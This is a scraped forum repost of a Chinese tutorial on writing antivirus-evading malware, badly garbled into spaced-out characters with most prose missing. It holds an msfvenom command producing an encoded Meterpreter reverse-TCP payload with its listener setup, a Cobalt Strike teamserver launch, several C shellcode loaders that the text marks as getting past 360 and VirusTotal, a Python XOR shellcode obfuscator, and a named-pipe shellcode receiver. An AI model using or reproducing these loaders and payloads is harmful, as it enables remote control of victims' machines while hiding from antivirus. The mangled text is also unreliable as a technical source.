[27340] 2020-05-26_恶意程序编写之免杀基础

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2020-05-26_恶意程序编写之免杀基础 N e a r S e c   2 0 2 0 - 0 5 - 2 6 S e c P u l s e   a s c o t b e         使         3 S h e l l C o d e 1 使 使 m s f v e n o m S h e l l C o d e S h e l l C o d e - f   S e c P u l s e   . w w w . s e c p u l s e . c o m C + +         - l ,   - - l i s t                         < t y p e >           L i s t   a l l   m o d u l e s   f o r   [ t y p e ] .   T y p e s   a r e :   p a y l o a d s ,   e n c o d e r s ,   n o p s ,   p l a t f o r m s ,   a r c h s ,   e n c r y p t ,   f o r m a t s ,   a l l         - p ,   - - p a y l o a d                   < p a y l o a d >     使         - f ,   - - f o r m a t                     < f o r m a t >       ,         - e ,   - - e n c o d e r                   < e n c o d e r >     使         - a ,   - - a r c h                         < a r c h >           - - p a y l o a d - - e n c o d e r s         - o ,   - - o u t                           < p a t h >                   - b ,   - - b a d - c h a r s               < l i s t >           使         - n ,   - - n o p s l e d                   < l e n g t h >       ( p a y l o a d ) l e n g t h n o p s l e d         - s ,   - - s p a c e                       < l e n g t h >               - i ,   - - i t e r a t i o n s             < c o u n t >                 - c ,   - - a d d - c o d e                 < p a t h >           w i n 3 2   s h e l l c o d e i n c l u d e         - x ,   - - t e m p l a t e                 < p a t h >           ( t e m p l a t e )         - k ,   - - k e e p                                               - - t e m p l a t e 线         - v ,   - - v a r - n a m e                 < v a l u e >                 - t ,   - - t i m e o u t                   < s e c o n d >       S T D I N 3 0 0 m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   6   - b   ' x 0 0 '   l h o s t = 1 9 2 . 1 6 8 . 1 8 3 . 1 3 8   l p o r t = 4 4 4 4       - f   c b a s h c c s h a r p d w d w o r d h e x j a v a j s _ b e j s _ l e
M s f 2 使 使 C o b a l t s t r i k e S h e l l C o d e 使 s h e l l c o d e 使 使 C + + P l a n A n u m p e r l p l p o w e r s h e l l p s 1 p y p y t h o n r a w r b r u b y s h v b a p p l i c a t i o n v b s c r i p t u s e   m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   1 9 2 . 1 6 8 . 1 8 3 . 1 3 8 s e t   L P O R T   4 4 4 4 s e t   E n a b l e S t a g e E n c o d i n g   t r u e j a v a w   - D f i l e . e n c o d i n g = U T F - 8   - j a v a a g e n t : C o b a l t S t r i k e C N . j a r   - X X : P a r a l l e l G C T h r e a d s = 4   - X X : + A g g r e s s i v e H e a p   - X X : + U s e P a r a l l e l G C   - j a r   c o b a l t s t r i k e . j a r . / t e a m s e r v e r   y o u _ i p   y o u _ p a s s w d C + + S h e l l C o d e H e a p A l l o c m a l l o c V i r t u a l A l l o c n e w L o c a l A l l o c # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " W i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " )   / / w i n d o w s u n s i g n e d   c h a r   b u f [ ]   =   " s h e l l c o d e " ; v o i d   m a i n ( ) {
V T 3 6 0 {         L P V O I D   M e m o r y ;         M e m o r y   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( b u f ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( M e m o r y ,   b u f ,   s i z e o f ( b u f ) ) ;         ( ( v o i d ( * ) ( ) ) M e m o r y ) ( ) ; }
P l a n B V T 3 6 0 # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > t y p e d e f   v o i d   ( _ s t d c a l l   * C O D E ) ( ) ; # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " w i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " ) u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " s h e l l c o d e " ; v o i d   m a i n ( ) {         P V O I D   p   =   N U L L ;         p   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         i f   ( p   = =   N U L L )         {                 r e t u r n ;         }         m e m c p y ( p ,   s h e l l c o d e ,   s i z e o f ( s h e l l c o d e ) ) ;             C O D E   c o d e   =   ( C O D E ) p ;     c o d e ( ) ; }
P l a n C A B s h e l l c o d e i m p o r t   s y s f r o m   a r g p a r s e   i m p o r t   A r g u m e n t P a r s e r ,   F i l e T y p e d e f   p r o c e s s _ b i n ( n u m ,   s r c _ f p ,   d s t _ f p ,   d s t _ r a w ) :         s h e l l c o d e   =   ' '         s h e l l c o d e _ s i z e   =   0         s h e l l c o d e _ r a w   =   b ' '         t r y :                 w h i l e   T r u e :                         c o d e   =   s r c _ f p . r e a d ( 1 )                         i f   n o t   c o d e :                                 b r e a k                         b a s e 1 0   =   o r d ( c o d e )   ^   n u m                         b a s e 1 0 _ s t r   =   c h r ( b a s e 1 0 )                         s h e l l c o d e _ r a w   + =   b a s e 1 0 _ s t r . e n c o d e ( )                         c o d e _ h e x   =   h e x ( b a s e 1 0 )                     c o d e _ h e x   =   c o d e _ h e x . r e p l a c e ( ' 0 x ' , ' ' )                         i f ( l e n ( c o d e _ h e x )   = =   1 ) :                             c o d e _ h e x   =   ' 0 '   +   c o d e _ h e x                         s h e l l c o d e   + =   ' x '   +   c o d e _ h e x                     s h e l l c o d e _ s i z e   + =   1                 s r c _ f p . c l o s e ( )             d s t _ r a w . w r i t e ( s h e l l c o d e _ r a w )                 d s t _ r a w . c l o s e ( )             d s t _ f p . w r i t e ( s h e l l c o d e )                 d s t _ f p . c l o s e ( )             r e t u r n   s h e l l c o d e _ s i z e         e x c e p t   E x c e p t i o n   a s   e :             s y s . s t d e r r . w r i t e l i n e s ( s t r ( e ) ) d e f   m a i n ( ) :         p a r s e r   =   A r g u m e n t P a r s e r ( p r o g = ' S h e l l c o d e   X ' ,   d e s c r i p t i o n = ' [ X O R   T h e   C o b a l t s t r i k e   P A Y L O A D . B I N s ]   t   >   A u t h o r :   r v n 0 x s y @ g m a i l . c o m ' )         p a r s e r . a d d _ a r g u m e n t ( ' - v ' , ' - - v e r s i o n ' , n a r g s = ' ? ' )         p a r s e r . a d d _ a r g u m e n t ( ' - s ' , ' - - s r c ' , h e l p = u ' s o u r c e   b i n   f i l e ' , t y p e = F i l e T y p e ( ' r b ' ) ,   r e q u i r e d = T r u e )         p a r s e r . a d d _ a r g u m e n t ( ' - d ' , ' - - d s t ' , h e l p = u ' d e s t i n a t i o n   s h e l l c o d e   f i l e ' , t y p e = F i l e T y p e ( ' w + ' ) , r e q u i r e d = T r u e )         p a r s e r . a d d _ a r g u m e n t ( ' - n ' , ' - - n u m ' , h e l p = u ' C o n f u s e d   n u m b e r ' , t y p e = i n t ,   d e f a u l t = 9 0 )         p a r s e r . a d d _ a r g u m e n t ( ' - r ' , ' - - r a w ' , h e l p = u ' o u t p u t   b i n   f i l e ' ,   t y p e = F i l e T y p e ( ' w b ' ) ,   r e q u i r e d = T r u e )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         s h e l l c o d e _ s i z e   =   p r o c e s s _ b i n ( a r g s . n u m ,   a r g s . s r c ,   a r g s . d s t ,   a r g s . r a w )         s y s . s t d o u t . w r i t e l i n e s ( " [ + ] S h e l l c o d e   S i z e   :   { }   n " . f o r m a t ( s h e l l c o d e _ s i z e ) )     i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :     m a i n ( )
m s f b i n p a y l o a d . c :   - >   p y t h o n   . x o r . p y   - s   . p a y l o a d . b i n   - d   p a y l o a d . c   - n   1 0   - r   1 2 3 . t x t S h e l l c o d e V i r t u a l P r o t e c t # h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - v i r t u a l a l l o c # i n c l u d e   < W i n d o w s . h > / /   i n t   w m a i n ( i n t   a r g c , T C H A R   *   a r g v [ ] ) {         i n t   s h e l l c o d e _ s i z e   =   0 ;   / /   s h e l l c o d e         D W O R D   d w T h r e a d I d ;   / /   线 I D         H A N D L E   h T h r e a d ;   / /   线         D W O R D   d w O l d P r o t e c t ;   / /   / *   l e n g t h :   8 0 0   b y t e s   * / u n s i g n e d   c h a r   b u f [ ]   =   " s h e l l c o d e " ; / /   s h e l l c o d e s h e l l c o d e _ s i z e   =   s i z e o f ( b u f ) ; / *     * / f o r ( i n t   i   =   0 ; i < s h e l l c o d e _ s i z e ;   i + + ) {         b u f [ i ]   ^ =   1 0 ; } / * V i r t u a l A l l o c (         N U L L ,   / /       8 0 0 ,     / /           M E M _ C O M M I T ,   / /           P A G E _ E X E C U T E _ R E A D W R I T E   / /           ) ; * / c h a r   *   s h e l l c o d e   =   ( c h a r   * ) V i r t u a l A l l o c (     N U L L ,         s h e l l c o d e _ s i z e ,         M E M _ C O M M I T ,         P A G E _ R E A D W R I T E   / /  
T V 3 6 0         / / P A G E _ E X E C U T E _ R E A D W R I T E         ) ;         / /   s h e l l c o d e C o p y M e m o r y ( s h e l l c o d e , b u f , s h e l l c o d e _ s i z e ) ; / /   V i r t u a l P r o t e c t ( s h e l l c o d e , s h e l l c o d e _ s i z e , P A G E _ E X E C U T E , & d w O l d P r o t e c t ) ; / /   S l e e p ( 2 0 0 0 ) ; h T h r e a d   =   C r e a t e T h r e a d (         N U L L ,   / /           N U L L ,   / /           ( L P T H R E A D _ S T A R T _ R O U T I N E ) s h e l l c o d e ,   / /           N U L L ,   / /           N U L L ,   / /   线         & d w T h r e a d I d   / /   线 I D         ) ; W a i t F o r S i n g l e O b j e c t ( h T h r e a d , I N F I N I T E ) ;   / /   线         r e t u r n   0 ; }
3 6 0 T V     # i n c l u d e   < w i n d o w s . h >     # i n c l u d e   < s t d i o . h >     # p r a g m a   c o m m e n t ( l i n k e r ,   " / s e c t i o n : . d a t a , R W E " )     u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " s h e l l c o d e " ;         v o i d   m a i n ( ) {                     _ _ a s m             {                                         m o v   e a x ,   o f f s e t   s h e l l c o d e                     j m p   e a x                 }     }    
    v s 6 . 0 , n o p     T V # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " w i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " ) u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " s h e l l c o d e " ; v o i d   m a i n ( ) {     ( ( v o i d ( W I N A P I * ) ( v o i d ) ) & s h e l l c o d e ) ( ) ; } # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > # p r a g m a   c o m m e n t ( l i n k e r ,   " / s e c t i o n : . d a t a , R W E " ) u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " " ; v o i d   m a i n ( ) {     _ _ a s m     {         m o v   e a x ,   o f f s e t   s h e l l c o d e             _ e m i t   0 x F F                 _ e m i t   0 x E 0     } }
    3 6 0 使 使 s h e l l c o d e x o r f o r ( D W O R D   i   =   0 ; i <   d w L e n ;   i + + ) {     S l e e p ( 5 0 ) ;     _ I n t e r l o c k e d X o r 8 ( p s z S h e l l c o d e + i , 1 0 ) ; } # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < i n t r i n . h > # d e f i n e   B U F F _ S I Z E   1 0 2 4 c h a r   b u f [ ]   =   " s h e l l c o d e " ; P T C H A R   p t s P i p e N a m e   =   T E X T ( " . p i p e B a d C o d e T e s t " ) ; B O O L   R e c v S h e l l c o d e ( V O I D ) {         H A N D L E   h P i p e C l i e n t ;         D W O R D   d w W r i t t e n ;         D W O R D   d w S h e l l c o d e S i z e   =   s i z e o f ( b u f ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则